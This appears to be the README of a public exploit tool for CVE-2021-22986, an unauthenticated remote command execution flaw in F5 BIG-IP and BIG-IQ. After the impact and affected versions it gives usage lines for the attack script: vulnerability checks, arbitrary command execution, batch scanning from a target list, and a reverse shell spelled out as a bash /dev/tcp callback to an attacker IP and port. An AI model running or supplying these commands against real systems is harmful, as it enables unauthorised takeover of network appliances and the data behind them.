CVE-2021-22986 & F5 BIG-IP RCE

Vuln Impact

This vulnerability allows for unauthenticated attackers with network access to the iControl REST interface, through the BIG-IP management interface and self IP addresses, to execute arbitrary system commands, create or delete files, and disable services. This vulnerability can only be exploited through the control plane and cannot be exploited through the data plane. Exploitation can lead to complete system compromise. The BIG-IP system in Appliance mode is also vulnerable.

Vuln Product

• F5 BIG-IQ 6.0.0-6.1.0
• F5 BIG-IQ 7.0.0-7.0.0.1
• F5 BIG-IQ 7.1.0-7.1.0.2
• F5 BIG-IP 12.1.0-12.1.5.2
• F5 BIG-IP 13.1.0-13.1.3.5
• F5 BIG-IP 14.1.0-14.1.3.1
• F5 BIG-IP 15.1.0-15.1.2
• F5 BIG-IP 16.0.0-16.0.1

Vunl Check

Basic usage

python3 CVE_2021_22986.py

Vuln check

python3 CVE_2021_22986.py -v true -u https://192.168.174.164

command execute:

python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c id

python3 CVE_2021_22986.py -a true -u https://192.168.174.164 -c whoami

batch scan

python3 CVE_2021_22986.py -s true -f check.txt

Reserve Shell

python3 CVE_2021_22986.py -r true -u https://192.168.174.164 -c "bash -i >&/dev/tcp/192.168.174.129/8888 0>&1"

New POC

python3 newpoc.py https://192.168.174.164

Reference

https://support.f5.com/csp/article/K03009991

https://github.com/safesword/F5_RCE

https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986